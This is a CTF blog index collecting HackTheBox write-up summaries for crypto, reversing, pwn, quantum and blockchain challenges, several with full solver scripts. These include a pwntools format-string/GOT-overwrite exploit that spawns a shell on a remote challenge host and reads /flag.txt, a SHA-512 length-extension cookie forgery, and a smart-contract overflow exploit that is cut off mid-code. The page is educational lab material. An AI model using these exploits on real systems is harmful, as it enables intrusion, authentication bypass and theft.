Ctf on Zero's Blog

HTB - Crypto: Raining Primes

Wed, 11 Mar 2026 22:12:00 +0700

Challenge Summary

Name: Raining Primes
Category: Crypto
Difficulty: Hard
Goal: Recover the flag from an RSA-wrapped AES ciphertext.

Root Cause

The service uses one hidden 640-bit prime r in multiple places:

Prime oracle outputs x = a*r + b where:
- a is 384-bit random
- b is 256-bit random
RSA primes are generated with the same form:
- p = a*r + b, q = c*r + d
Key update transforms each AES key bit via:
- bit' = ((k0 * k1) mod r) mod 2

This creates two exploitable links:

HTB - Reversing: Maze

Thu, 05 Mar 2026 16:10:00 +0700

Challenge Summary

Name: Maze
Category: Reversing
Difficulty: Medium
Solved by: Shinkiro
Goal: Recover the final valid input from multi-stage checker logic.

Root Cause

maze.exe is a PyInstaller-packed Python application that gates progress behind hidden constants and staged payloads.

Reversing the Python entrypoint reveals:

route gate string: Y0u_St1ll_1N_4_M4z3
ZIP password for enc_maze.zip: Y0u_Ar3_W4lkiNG_t0_Y0uR_D34TH

After unpacking, deeper stages eventually resolve to an ELF checker whose validation is purely arithmetic and reversible.

HTB - Reversing: Hexecution

Thu, 05 Mar 2026 15:58:00 +0700

Challenge Summary

Name: Hexecution
Category: Reversing
Difficulty: Hard
Solved by: Shinkiro
Goal: Recover the expected input for the custom VM program and derive the final flag.

Root Cause

The binary cook is a small interpreter for the DSL file recipe.asm. Instead of checking input directly, it transforms user input via a deterministic two-stage permutation pipeline and compares against a fixed 32-byte target table loaded by VM instructions.

HTB - Reversing: vvm

Thu, 05 Mar 2026 15:35:00 +0700

Challenge Summary

Name: vvm
Category: Reversing
Difficulty: Hard
Solved by: Shinkiro
Goal: Recover the password accepted by the embedded custom VM.

Root Cause

The binary does not compare the input directly. Instead, it runs a custom VM program that:

enforces input length = 32,
rearranges selected bytes into 8 little-endian 32-bit words,
applies rol32 transforms,
compares against hardcoded constants.

So the intended path is reverse-engineering VM semantics, then algebraically inverting the transformations.

EH4X CTF 2026: Writeup

Wed, 04 Mar 2026 14:00:00 +0700

Overview

This post collects the solved EH4X CTF 2026 challenges and the practical exploitation approach used for each.

Heist V1 (Blockchain)

TL;DR

The vault trusted governance too much. By setting governance to an attacker contract and abusing delegatecall execution, storage got overwritten (admin/paused), then funds could be withdrawn.

HTB - Quantum: Phase Madness

Wed, 04 Mar 2026 10:55:00 +0700

Challenge Summary

Name: Phase Madness
Category: Quantum
Difficulty: Medium-Hard
Goal: Recover all encoded bytes from qubit phase rotations.

Root Cause

Each flag byte is encoded directly as a rotation angle in degrees.

From source:

index % 3 == 0: RX(byte)
index % 3 == 1: RY(byte)
index % 3 == 2: H then RZ(byte)

The service lets us:

choose qubit index,
apply extra known rotations (RX/RY/RZ),
receive high-shot measurement counts.

That is enough to estimate sin/cos components and recover the original angle (thus byte).

HTB - Reversing: Wayback

Wed, 04 Mar 2026 10:55:00 +0700

Challenge Summary

Name: Wayback
Category: Reversing
Difficulty: Medium
Solved by: Shinkiro
Goal: Recover generated password and decrypt ciphertext to obtain flag.

Root Cause

The binary generates a password using rand() seeded from local timestamp fields (year/month/day/hour/min/sec formula), then uses that key material in AES-CBC flow.

Given challenge-provided generation window, key recovery becomes bounded brute-force over time.

Exploit Strategy

Reverse password generator logic:
- static charset (lower/upper/symbols/digits)
- seed formula from datetime fields
- rand() % len(charset) per output char
Re-implement generator exactly with libc srand/rand behavior.
Iterate each second in the narrowed date range.
Build candidate key from generated password and attempt AES-CBC decrypt.
Stop when plaintext contains HTB{...}.

Recovered:

HTB - Quantum: Flagportation

Wed, 04 Mar 2026 10:50:00 +0700

Challenge Summary

Name: Flagportation
Category: Quantum
Difficulty: Easy-Medium
Goal: Decode all teleported 2-bit symbols and recover the flag.

Root Cause

The challenge is a teleportation protocol correctness trap. The server reveals:

encoding basis (Z or X),
Bell-side measurement bits (qubit 0, qubit 1),
then asks user operations before measuring receiver (qubit 2).

If the correction mapping is wrong, decoded bits are wrong.

Correct mapping for this implementation:

HTB - Reversing: Virtually Mad

Wed, 04 Mar 2026 10:50:00 +0700

Challenge Summary

Name: Virtually Mad
Category: Reversing
Difficulty: Medium
Solved by: Shinkiro
Goal: Provide VM bytecode that passes strict opcode-shape and final-state validation.

Root Cause

The checker executes user-provided opcodes in a small custom VM and validates final state exactly:

a == 0x200
b == 0xffffffff
c == 0xffffffff
d == 0
flags == 0x10000000
instruction count = 5

The opcode format and pre-check masks make the intended sequence effectively unique.

HTB - Quantum: Global Hyperlink Zone

Wed, 04 Mar 2026 10:45:00 +0700

Challenge Summary

Name: Global Hyperlink Zone
Category: Quantum
Difficulty: Medium
Goal: Satisfy the hidden hyperlink pattern check and print the flag.

Root Cause

The server checks only a specific relationship between measured bitstreams (shares) and does not constrain users to a trusted circuit template.

From source analysis, success requires:

shares[0] == shares[1] == shares[3]
shares[2] == shares[4]
shares[2] != shares[0]
and no share may be all-0 or all-1 bytes.

Because arbitrary gate sequences are allowed, we can construct a circuit that enforces exactly those relations.

HTB - Reversing: Rega Town

Wed, 04 Mar 2026 10:45:00 +0700

Challenge Summary

Name: Rega Town
Category: Reversing
Difficulty: Easy-Medium
Solved by: Shinkiro
Goal: Recover the valid passphrase accepted by the binary.

Root Cause

Validation is split into two deterministic layers:

filter_input enforces format and character-class constraints via embedded regex patterns.
check_input multiplies ASCII values of fixed chunks and compares them to hardcoded constants.

Given both layers, the space collapses to a tiny set of candidates.

Exploit Strategy

Extract regex constraints from filter_input to build per-position candidate pools.
Extract target products from check_input for each underscore-separated chunk.
Brute-force each chunk independently using product matching.
Apply final main assertions (input[5] == '0', input[9] == 'r').
Select intended semantic candidate.

Solver Code

#!/usr/bin/env python3
import itertools
import math
import pathlib
import string
import subprocess

# Product constants used by check_input() for each chunk.
TARGETS = [
    0x7A070,
    0x5C436,
    0x6CC60,
    0x27B5776,
    0x10F9,
    0xD76A0,
    0x7465A58,
]

# Character pools inferred from regex constraints in filter_input().
POOLS = [
    ["XYZ", string.digits, string.ascii_letters + string.digits],
    ["A", string.ascii_letters + "_", string.digits],
    ["T", "h7", string.digits],
    [string.ascii_uppercase, string.digits, "n", "abcdefgh"],
    ["O", string.digits],
    ["T", string.ascii_letters, "e"],
    ["T", "nopqrstuvwx", "nopqrstuvwx", "nc|"],
]


def ascii_product(s: str) -> int:
    return math.prod(ord(c) for c in s)


def solve_chunk(charsets, target):
    out = []
    for tup in itertools.product(*charsets):
        s = "".join(tup)
        if ascii_product(s) == target:
            out.append(s)
    return out


def maybe_check_binary(flag: str) -> bool | None:
    bin_path = pathlib.Path(__file__).with_name("rega_town")
    if not bin_path.exists():
        return None
    p = subprocess.run(
        [str(bin_path)],
        input=flag + "\n",
        text=True,
        capture_output=True,
        check=False,
    )
    return "Correct one of us!!" in p.stdout


def main():
    chunk_candidates = [solve_chunk(cs, t) for cs, t in zip(POOLS, TARGETS)]

    print("[+] Chunk candidates:")
    for i, cands in enumerate(chunk_candidates, 1):
        print(f"  chunk{i}: {cands}")

    all_flags = []
    for parts in itertools.product(*chunk_candidates):
        flag = f"HTB{{{parts[0]}_{parts[1]}_{parts[2]}_{parts[3]}_{parts[4]}_{parts[5]}_{parts[6]}}}"

        if flag[5] != "0":
            continue
        if flag[9] != "r":
            continue

        all_flags.append(flag)

    print("\n[+] Valid candidates after assertions:")
    for f in all_flags:
        status = maybe_check_binary(f)
        if status is None:
            print(f"  {f}")
        else:
            print(f"  {f}  (binary check: {status})")

    intended = next((f for f in all_flags if f.endswith("Town}")), all_flags[0])
    print("\n[+] Intended flag:")
    print(f"  {intended}")


if __name__ == "__main__":
    main()

Flag

HTB{Y0u_Ar3_Th3_K1ng_O7_The_Town}

HTB - Pwn: Arms roped

Tue, 03 Mar 2026 15:20:00 +0700

Challenge Summary

Name: Arms roped
Category: Pwn
Difficulty: Medium
Goal: Get code execution and read the flag.

Binary Recon

Initial triage (file, checksec, readelf) showed:

32-bit ARM ELF
PIE enabled
Stack canary enabled
NX enabled
Partial RELRO
Bundled libc.so.6

Main vulnerable path is in string_storer():

reads with scanf("%m[^\n]%n", &tmp, &n)
copies with memcpy(localbuf, tmp, n)
prints with puts(localbuf)

The bug is straightforward: attacker-controlled n is copied into a fixed stack buffer.

HTB - Crypto: Neon Core

Sat, 28 Feb 2026 16:25:00 +0700

Challenge Summary

Name: Neon Core
Category: Crypto
Difficulty: Medium
Goal: Recover the hidden configuration blueprint (flag) from the encrypted output.

Root Cause

The service encrypts each 16-byte block as a 4x4 matrix over GF(257) using:

$$ C = K \cdot S(M) \cdot L + T, \quad S(x)=x^3 $$

where K, L, and T are fixed per service instance.

Although this looks nonlinear, the nonlinearity is only the per-element cube. After lifting each input byte to $u_i = m_i^3$, the full block transform is affine linear:

HTB - Crypto: Shambles

Sat, 28 Feb 2026 14:55:00 +0700

Challenge Summary

Name: Shambles
Category: Crypto
Difficulty: Medium
Goal: Trigger the withdraw condition that drops target balance to zero and get the flag.

Root Cause

The service decrypts user-supplied token ciphertext with AES-CBC and runs PKCS#7 unpad before JWT verification.

Error behavior leaks padding validity:

Invalid padding → Decryption error!
Valid padding but bad JWT/signature → different response (Validation error! path)

That creates a classic CBC padding oracle.

HTB - Crypto: POPO

Fri, 27 Feb 2026 17:15:00 +0700

Challenge Summary

Name: POPO
Category: Crypto
Difficulty: Medium
Goal: Recover the secret plaintext from a flawed Paillier-based service.

Root Cause

The service is Paillier-like with:

g = n + 1
c = g^m * r^n mod n^2

but it adds an “optimization” switch:

first positive non-secret message computes normally
later positive non-secret messages use local = m (skipping g^m)

Also, a fixed r is reused unless explicitly supplied.

HTB - Crypto: ReMeeting the Wheel

Fri, 27 Feb 2026 17:10:00 +0700

Challenge Summary

Name: ReMeeting the Wheel
Category: Crypto
Difficulty: Medium
Goal: Recover the AES key from RSA data and decrypt the final secret.

Root Cause

The AES key is not random 128/256-bit material. Instead, it is constructed as:

key1 = randint(2^20, 2^21)
key2 = randint(2^20, 2^21)
k = key1 * key2

So k is only about 40–42 bits. The challenge publishes:

c = k^e mod n

with standard RSA parameters. This structure enables a meet-in-the-middle recovery.

HTB - Crypto: AliEnS

Fri, 27 Feb 2026 17:05:00 +0700

Challenge Summary

Name: AliEnS
Category: Crypto
Difficulty: Medium
Goal: Recover the hidden flag from a custom AES-ECB oracle.

Root Cause

The service builds plaintext as:

aaes.pad(user_input) || aaes.pad(FLAG)

where:

aaes.pad(x) = x + P[:(-len(x) % 16)] + P
P = "CryptoHackTheBox"  # 16 bytes

Then it encrypts with AES-ECB and a fresh random key per query.

A fresh key blocks classic cross-query byte-at-a-time attacks. But ECB still leaks equality within the same response: equal plaintext blocks produce equal ciphertext blocks under that query key.

HTB - Crypto: Twisted Entanglement

Fri, 27 Feb 2026 13:15:00 +0700

Challenge Summary

Name: Twisted Entanglement
Category: Crypto
Difficulty: Medium
Goal: Recover the server private key and decrypt the encrypted flag.

Root Cause

The challenge exposes scalar multiplication on attacker-controlled points with curve params fixed only as:

a = 0, p = secp256k1 prime

but it does not verify that user points belong to the intended curve subgroup.

That enables an invalid-curve / small-subgroup attack:

send crafted points with known small order q
observe k*P from the server
recover k mod q by brute-force discrete log in tiny subgroup
combine residues with CRT to recover the bounded private key (k < 8748541127929402731638)

Then option 2 seeds Python RNG with that k, so basis choices become predictable and AES key is recoverable.

HTB - Crypto: Shamir's Secret

Fri, 27 Feb 2026 11:35:00 +0700

Challenge Summary

Name: Shamir’s Secret
Category: Crypto
Difficulty: Medium
Goal: Recover the hidden flag from a custom share-encryption service.

Root Cause

The service returns 64 pairs (x, y) where only 32 are genuine polynomial evaluations and 32 are random noise.

For a message m, real pairs satisfy:

y = f(x) mod 2^1024
f(t) = m + a1*t + a2*t^2 + ... + a31*t^31

The same hidden 64-bit mask decides which indices are real/fake for the whole process.

HTB - Crypto: quick maffs

Fri, 27 Feb 2026 09:58:00 +0700

Challenge Summary

Name: quick maffs
Category: Crypto
Difficulty: Hard
Goal: Recover the plaintext triplet and reconstruct the flag.

Root Cause

The service encrypts three related plaintext chunks under the same RSA modulus/exponent pair:

c1 = m1^e mod N
c2 = m2^e mod N
c3 = m3^e mod N
and leaks m1 + m2 + m3 = hint

Because e is a prime < 1024, we can iterate candidate exponents and solve the algebraic system directly.

HTB - Crypto: YALM

Fri, 27 Feb 2026 02:26:00 +0700

Challenge Summary

Name: YALM
Category: Crypto
Difficulty: Medium
Goal: Recover encrypted secret despite hidden RSA modulus.

Root Cause

Server encrypts with RSA (e=3) but does not reveal n.

However, test endpoint leaks comparison against n:

if plaintext < n → accepted
if plaintext >= n → Too many messages!

So we can recover exact n by binary searching this boundary.

Then ciphertext equation is:

c = (prefix || flag)^3 mod n

With known prefix and small unknown suffix (flag), this becomes a univariate small-root problem solved by Coppersmith.

HTB - Crypto: Birds of randomness

Fri, 27 Feb 2026 02:24:00 +0700

Challenge Summary

Name: Birds of randomness
Category: Crypto
Difficulty: Medium
Goal: Predict destination coordinates within 6 guesses and retrieve the flag.

Root Cause

Station coordinates are generated as d*G on a fixed ECC curve, where d = x*y*z from a weak PRNG state triplet with tiny moduli (~30k).

That puts d in a bounded range:

d < 30269 * 30307 * 30323 ≈ 2.78e13

A bounded discrete log is feasible with BSGS.

HTB - Crypto: Rhome

Fri, 27 Feb 2026 02:22:00 +0700

Challenge Summary

Name: Rhome
Category: Crypto
Difficulty: Easy
Goal: Recover shared secret and decrypt AES-encrypted flag.

Root Cause

The challenge builds prime p = 2*q*r + 1, then sets generator:

g = h^(2r) mod p

This forces g into the subgroup of order q (small, ~42-bit). So both public keys A = g^a, B = g^b leak exponents modulo small q, making discrete log feasible.

Exploit Strategy

Query (p,g,A,B) and ciphertext.
Factor p-1, identify small prime subgroup order q.
Solve a = dlog_g(A) and b = dlog_g(B) modulo q.
Recompute shared secret ss = g^(ab mod q).
Derive AES key from sha256(ss)[:16] and decrypt.

Solve Script (Full PoC)

#!/usr/bin/env python3
import re
import argparse
from hashlib import sha256

from pwn import remote
from sympy import factorint
from sympy.ntheory import discrete_log
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from Crypto.Util.number import long_to_bytes


def recv_menu(io):
    return io.recvuntil(b'> ').decode(errors='ignore')


def parse_params(blob):
    p = int(re.search(r'p = (\d+)', blob).group(1))
    g = int(re.search(r'g = (\d+)', blob).group(1))
    A = int(re.search(r'A = (\d+)', blob).group(1))
    B = int(re.search(r'B = (\d+)', blob).group(1))
    return p, g, A, B


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--host', required=True)
    ap.add_argument('--port', required=True, type=int)
    args = ap.parse_args()

    io = remote(args.host, args.port)

    recv_menu(io)
    io.sendline(b'1')
    p, g, A, B = parse_params(recv_menu(io))

    io.sendline(b'3')
    ct_blob = recv_menu(io)
    ct = bytes.fromhex(re.search(r'encrypted = ([0-9a-f]+)', ct_blob).group(1))
    io.close()

    fac = factorint(p - 1)
    q_small = None
    for f in fac:
        if 35 <= int(f).bit_length() <= 43:
            q_small = int(f)
            break
    if q_small is None:
        raise SystemExit('small subgroup order not found')

    a = discrete_log(p, A, g, order=q_small)
    b = discrete_log(p, B, g, order=q_small)
    ss = pow(g, (a * b) % q_small, p)

    key = sha256(long_to_bytes(ss)).digest()[:16]
    pt = unpad(AES.new(key, AES.MODE_ECB).decrypt(ct), 16)
    print(pt.decode())


if __name__ == '__main__':
    main()

Run

python3 solve.py --host <ip> --port <port>

Result

HTB{00ps_wh4t_4_sm411_0rd3r}

HTB - Crypto: Embryonic Plant

Fri, 27 Feb 2026 02:20:00 +0700

Challenge Summary

Name: Embryonic Plant
Category: Crypto
Difficulty: Easy
Goal: Recover AES key and decrypt encrypted flag.

Root Cause

Service prints:

n = p*q*r
five consecutive RNG states from:

s_{i+1} = (s_i * p + q) mod r

Same p,q,r are RSA factors and used to derive private exponent d; AES key is sha256(d).

Leaking several states lets us recover the LCG modulus/parameters, which also recovers RSA factors.

HTB - Crypto: Quantum-Safe

Fri, 27 Feb 2026 02:18:00 +0700

Challenge Summary

Name: Quantum-Safe
Category: Crypto
Difficulty: Easy
Goal: Recover flag from matrix-based encoding output.

Root Cause

The challenge encodes each character with:

y = [ord(c), a, b] * P + r

P is public and invertible.
a,b are small random values in [0,100].
r is a fixed unknown offset vector.

Because P is invertible and noise is bounded, we can recover r and decode all rows exactly.

HTB - Crypto: Protein Cookies

Fri, 27 Feb 2026 02:16:00 +0700

Challenge Summary

Name: Protein Cookies
Category: Crypto
Difficulty: Easy
Goal: Access protected /program content and recover flag.

Root Cause

Cookie signature uses SHA-512 over a construction equivalent to:

sig = SHA512(secret || payload)

This is vulnerable to length extension. We can append &isLoggedIn=True and forge a valid new signature without knowing secret.

Exploit Strategy

Obtain guest login_info cookie.
Parse payload+digest.
Perform SHA-512 length-extension with guessed secret length.
Send forged cookie to /program.
Extract flag from returned PDF/content.

Solve Script (Full PoC)

#!/usr/bin/env python3
import base64
import argparse
import requests
from hashpumpy import hashpump


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--base', required=True, help='e.g. http://<ip>:<port>')
    ap.add_argument('--secret-len', type=int, default=16)
    args = ap.parse_args()

    s = requests.Session()
    s.get(args.base + '/program', allow_redirects=True, timeout=10)
    guest = s.cookies.get('login_info')
    if not guest:
        raise SystemExit('missing guest cookie')

    payload_b64, sig_b64 = guest.split('.', 1)
    payload = base64.b64decode(payload_b64)
    sig_hex = base64.b64decode(sig_b64).decode()

    append = b'&isLoggedIn=True'
    new_sig_hex, forged_payload = hashpump(sig_hex, payload.decode('latin1'), append.decode('latin1'), args.secret_len)
    forged_cookie = (
        base64.b64encode(forged_payload.encode('latin1')).decode() + '.' +
        base64.b64encode(new_sig_hex.encode()).decode()
    )

    r = requests.get(args.base + '/program', headers={'Cookie': f'login_info={forged_cookie}'}, timeout=10)
    print('status:', r.status_code)
    print(r.text[:400])


if __name__ == '__main__':
    main()

Run

python3 solve.py --base http://<ip>:<port>

Result

HTB{l1ght_w31ght_b4b3h!}

HTB - Crypto: RSAisEasy

Fri, 27 Feb 2026 02:14:00 +0700

Challenge Summary

Name: RSAisEasy
Category: Crypto
Difficulty: Easy
Goal: Recover two RSA-encrypted halves of the flag.

Root Cause

Given values follow:

n1 = p*q
n2 = q*z
leak = n1*E + n2

So:

gcd(n1, leak) = gcd(p*q, n1*E + q*z) = q

Once q is recovered, both RSA systems collapse.

Exploit Strategy

Compute q = gcd(n1, leak).
Recover p = n1 // q and decrypt c1.
Recover n2 from leak % n1 (check valid branch r or r+n1).
Decrypt c2 and concatenate both parts.

Solve Script (Full PoC)

#!/usr/bin/env python3
from math import gcd
from Crypto.Util.number import long_to_bytes

# paste challenge constants
n1 = ...
c1 = ...
c2 = ...
leak = ...
e = 0x10001

q = gcd(n1, leak)
p = n1 // q

phi1 = (p - 1) * (q - 1)
d1 = pow(e, -1, phi1)
part1 = long_to_bytes(pow(c1, d1, n1))

r = leak % n1
part2_candidates = []
for k in (0, 1):
    n2 = r + k * n1
    if n2 <= 0 or n2 % q != 0:
        continue
    z = n2 // q
    phi2 = (q - 1) * (z - 1)
    d2 = pow(e, -1, phi2)
    m2 = long_to_bytes(pow(c2, d2, n2))
    if all(32 <= b < 127 for b in m2):
        part2_candidates.append(m2)

if not part2_candidates:
    raise SystemExit('no valid second part')

flag = (part1 + part2_candidates[0]).decode()
print(flag)

Run

python3 solve.py

Result

HTB{1_m1ght_h4v3_m3ss3d_uP_jU$t_4_l1ttle_b1t?}

HTB - Crypto: xorxorxor

Fri, 27 Feb 2026 02:12:00 +0700

Challenge Summary

Name: xorxorxor
Category: Crypto
Difficulty: Easy
Goal: Decrypt XOR-encrypted flag.

Root Cause

The challenge encrypts flag bytes with a repeating random 4-byte key:

xored[i] = flag[i] ^ key[i % 4]

HTB flags start with HTB{, so we can recover all 4 key bytes directly from the first 4 ciphertext bytes.

Exploit Strategy

Parse hex ciphertext.
Compute key from known prefix b'HTB{'.
XOR-decrypt the full ciphertext with repeating key.

Solve Script (Full PoC)

#!/usr/bin/env python3
import argparse


def xor_repeat(data: bytes, key: bytes) -> bytes:
    return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))


def main():
    ap = argparse.ArgumentParser()
    ap.add_argument('--hex', required=True, help='ciphertext hex from challenge output')
    args = ap.parse_args()

    ct = bytes.fromhex(args.hex)
    known = b'HTB{'
    key = bytes(ct[i] ^ known[i] for i in range(4))

    pt = xor_repeat(ct, key)
    print('key =', key.hex())
    print(pt.decode(errors='ignore'))


if __name__ == '__main__':
    main()

Run

python3 solve.py --hex <ciphertext_hex>

Result

HTB{rep34t3d_x0r_n0t_s0_s3cur3}

HTB - Crypto: Baby Time Capsule

Fri, 27 Feb 2026 02:10:00 +0700

Challenge Summary

Name: Baby Time Capsule
Category: Crypto
Difficulty: Easy
Goal: Recover the plaintext flag from repeated RSA encryptions under fresh moduli.

Root Cause

The service keeps encrypting the same message with RSA exponent e = 5, but with different fresh moduli (n_i).

When we collect at least e ciphertexts from pairwise-coprime moduli, Håstad’s broadcast attack applies:

c_i = m^e mod n_i

Using CRT, we reconstruct m^e over N = ∏n_i, then compute the exact integer 5th root.

HTB - Pwn: TicTacToed

Thu, 26 Feb 2026 17:00:00 +0700

Challenge Summary

Name: TicTacToed
Category: Pwn
Difficulty: Medium
Goal: Unlock the hidden interface, pass authentication, and recover the flag from the embedded C2 workflow.

Initial Recon

The challenge binary is a Rust ELF (PIE, Full RELRO, NX, no canary, not stripped), with useful symbols left intact.

Important symbols during reversing:

main
check_winner
validate_access_code
decrypt_key
ask_for_credentials
execute_c2

Key observations:

A hidden path unlocks after a specific 5x5 tic-tac-toe win pattern.
Auth is not random: input is SHA-256 checked against an embedded expected hash.
decrypt_key reconstructs the credential from 3 encrypted parts using XOR ^ 0x5a.
On successful auth, the binary drops and executes a second ELF (/tmp/C2_executable).

Hidden Credential Recovery

decrypt_key uses three encrypted byte arrays (ENC_PART1/2/3) and applies a transform closure equivalent to:

HTB - Pwn: Portaloo

Thu, 26 Feb 2026 15:25:00 +0700

Challenge Summary

Name: Portaloo
Category: Pwn
Difficulty: Medium
Goal: Turn the portal manager bugs into code execution and recover the flag.

Initial Recon

checksec profile:

64-bit ELF
PIE enabled
Full RELRO
Canary enabled
NX enabled
Not stripped

Menu primitives:

Create Portal
Destroy Portal
Upgrade Portal
Peek into the Void
Step into the portal

Interesting functions from reversing:

create_portal
destroy_portal
upgrade_portal
peek_into_the_void
step_into_the_portal

Vulnerability Chain

1) Use-After-Free in portal slots

destroy_portal calls free(slots[idx]) but does not clear the slot pointer. That leaves stale freed pointers reachable via other menu actions.

HTB - Pwn: Evil Corp

Thu, 26 Feb 2026 03:40:00 +0700

Challenge Summary

Name: Evil Corp
Category: Pwn
Difficulty: Medium
Goal: Exploit the support-message path to get code execution and recover the flag

Initial Triage

Binary: evil-corp

checksec:

64-bit ELF
PIE enabled
NX enabled
Partial RELRO
No stack canary
Not stripped

Key behavior:

Program uses wide-char I/O (fgetws, wcscmp, wcstol, wprintf)
Login credentials are hardcoded and checked with wcscmp
Menu option 2 (ContactSupport) is the vulnerable path

Recovered credentials:

HTB - Pwn: r0bob1rd

Wed, 25 Feb 2026 17:45:00 +0700

Challenge Summary

Name: r0bob1rd
Category: Pwn
Difficulty: Easy
Goal: Gain shell and read flag from remote service

Binary Recon

checksec and static triage show:

64-bit ELF
NX enabled
Stack canary enabled
Partial RELRO
No PIE
Not stripped

Core issues in operation():

Negative index OOB read on global robobirdNames table:
- User-controlled index is used in pointer arithmetic around .data/.got.
- -8 maps to setvbuf@got and leaks libc pointer bytes.
Format string vulnerability:
- user input is passed directly to printf(buf).
- Enables arbitrary write primitive via %n payloads.

Exploit Plan

Send index -8 to leak setvbuf@got runtime address.
Compute libc_base = leak - libc.sym['setvbuf'].
Use FSB payload to overwrite __stack_chk_fail@got with a libc one_gadget.
Overflow description (fgets into smaller stack buffer) to force canary failure.
Canary check calls hijacked __stack_chk_fail => one_gadget => shell.
Execute cat /flag.txt.

Working Exploit Script

#!/usr/bin/env python3
from pwn import *

context.arch = 'amd64'
context.bits = 64
context.log_level = 'info'

BIN = './r0bob1rd'
LIBC = './glibc/libc.so.6'
LD = './glibc/ld.so.2'

HOST = '154.57.164.74'
PORT = 32234

elf = ELF(BIN, checksec=False)
libc = ELF(LIBC, checksec=False)


def start(remote_mode=True):
    if remote_mode:
        return remote(HOST, PORT)
    return process([LD, BIN])


def solve(io):
    # Stage 1: OOB leak from setvbuf@got via negative index
    io.sendlineafter(b'>', b'-8')
    io.recvuntil(b'sen: ')
    leak_raw = io.recvuntil(b'\n', drop=True)
    leak = u64(leak_raw[:6].ljust(8, b'\x00'))

    libc.address = leak - libc.sym['setvbuf']
    log.success(f'libc base = {hex(libc.address)}')

    # one_gadget candidates from bundled libc
    # 0xe3afe, 0xe3b01, 0xe3b04
    one = libc.address + 0xe3b01
    log.success(f'one_gadget = {hex(one)}')

    # Stage 2: format-string overwrite
    payload = fmtstr_payload(
        8,
        {elf.got['__stack_chk_fail']: one},
        write_size='short'
    ).ljust(106, b'\x90')

    io.sendlineafter(b'>', payload)

    # Give epilogue path a moment and then use shell
    sleep(0.8)
    io.sendline(b'echo __PWNED__')
    io.sendline(b'id')
    io.sendline(b'cat /flag.txt || cat flag.txt')

    out = io.recvrepeat(2.0)
    print(out.decode(errors='ignore'))


if __name__ == '__main__':
    io = start(remote_mode=True)
    solve(io)
    io.close()

Notes

This target combines two bugs: the OOB leak provides stable libc base, while FSB gives arbitrary write.
Partial RELRO keeps GOT writable, so __stack_chk_fail@got is a clean control-flow target.
The canary is not bypassed; it is intentionally triggered to pivot into hijacked GOT.

Result

HTB{S0m3t1m3s_bl0w1ng_th3_pr0gr4m_1s_g00d}

HTB - Pwn: Execute

Wed, 25 Feb 2026 11:40:00 +0700

Challenge Summary

Name: Execute
Category: Pwn
Difficulty: Easy
Goal: Execute shellcode despite blacklist restrictions and print flag.

Root Cause

Program reads user bytes and jumps to them directly:

int size = read(0, buf, 60);
if(!check(blacklist, buf, size, strlen(blacklist))) exit(1337);
((void(*)()) buf)();

The first-stage payload is filtered against blacklist bytes, but code execution is still intentional (execstack, NX disabled).

Blacklist bytes include values from typical /bin/sh shellcode (3b, 2f, 62, 69, 6e, 73, 68, …), so a direct one-shot payload is blocked.

HTB - Pwn: Restaurant

Wed, 25 Feb 2026 11:35:00 +0700

Challenge Summary

Name: Restaurant
Category: Pwn
Difficulty: Easy
Goal: Gain code execution and read the flag.

Root Cause

The vulnerability is in fill():

local stack buffer is 0x20 bytes
read(0, buf, 0x400) allows stack overflow
no canary + no PIE make RIP control straightforward
NX is enabled, so we use ROP/ret2libc (no shellcode on stack)

Security profile of binary:

Full RELRO
NX enabled
No PIE
No canary

Exploit Strategy

Use a two-stage chain:

HTB - Crypto: Broken Decryptor

Wed, 25 Feb 2026 05:35:00 +0700

Challenge Summary

Name: Broken Decryptor
Category: Crypto
Difficulty: Medium
Target: Recover server flag from encryption oracle behavior

Root Cause

This challenge combines two critical mistakes:

AES-CTR stream reuse with fixed key and iv for every encryption call.
Biased OTP generation:

otp = os.urandom(len(data)).replace(b'\x00', b'\xff')

Replacing 0x00 means each byte position can only produce 255 possible OTP values, not 256. That creates a forbidden-byte leak: after enough samples at one position, the single unseen byte is the hidden pre-OTP byte.

HTB - Crypto: mysterybox

Wed, 25 Feb 2026 05:35:00 +0700

Challenge Summary

Name: mysterybox
Category: Crypto
Difficulty: Medium
Goal: Forge a valid signature for the protected admin message and retrieve the flag.

Root Cause

The server implements textbook RSA signatures directly over raw integers:

sign(m) = m^d mod n
verify(m, s) checks s^e mod n == m

There is no hashing and no padding (e.g., no PKCS#1 v1.5/PSS). This makes signatures multiplicatively malleable:

sig(m1 * m2) = sig(m1) * sig(m2) mod n

The app blocks signing the exact admin message, but it still signs related values, which is enough to forge an admin signature.

HTB - Blockchain: False Bidding

Wed, 25 Feb 2026 01:43:00 +0700

Challenge Summary

Name: False Bidding
Category: Blockchain
Difficulty: Medium
Goal condition: TARGET.keyOwner() == player

Root Causes

Bid threshold overflow in receive gate:
- condition uses uint64(msg.value) >= 2 * topBidder().bid
- set top bid to $2^{63}$ ⇒ 2 * bid wraps to 0 (in uint64 space)
uint32 timeout wraparound:
- every accepted bid does timeout += YEAR
- repeated increments overflow timeout below current timestamp

Exploit Plan

Become top bidder with 2^63 wei.
Alternate zero-value bids between two EOAs (must satisfy msg.sender != topBidder().addr).
Keep extending timeout until it wraps to past time.
Claim prize as top bidder.

Full PoC Script (Python/web3)

#!/usr/bin/env python3
import requests
from web3 import Web3
from eth_utils import keccak
from eth_abi import decode
from eth_account import Account

BASE = "http://<INSTANCE_IP>:<PORT>"
RPC = BASE + "/rpc"

info = requests.get(BASE + "/connection_info", timeout=10).json()
PRIV = info["PrivateKey"]
PLAYER = Web3.to_checksum_address(info["Address"])
TARGET = Web3.to_checksum_address(info["TargetAddress"])
SETUP = Web3.to_checksum_address(info["setupAddress"])

w3 = Web3(Web3.HTTPProvider(RPC))
acctA = w3.eth.account.from_key(PRIV)
acctB = Account.create("false-bidding")

sel_timeout = keccak(text="timeout()")[:4]
sel_top = keccak(text="topBidder()")[:4]
sel_claim = keccak(text="claimPrize()")[:4]
sel_solved = keccak(text="isSolved(address)")[:4]


def call_u256(to, sel):
    return int.from_bytes(w3.eth.call({"to": to, "data": sel}), "big")


def top_bidder():
    r = w3.eth.call({"to": TARGET, "data": sel_top})
    addr, bid = decode(["address", "uint64"], r)
    return Web3.to_checksum_address(addr), int(bid)


def send(acct, to, value=0, data=b"", gas=220000):
    tx = {
        "chainId": w3.eth.chain_id,
        "nonce": w3.eth.get_transaction_count(acct.address),
        "to": to,
        "value": value,
        "data": data,
        "gas": gas,
        "maxFeePerGas": w3.to_wei(2, "gwei"),
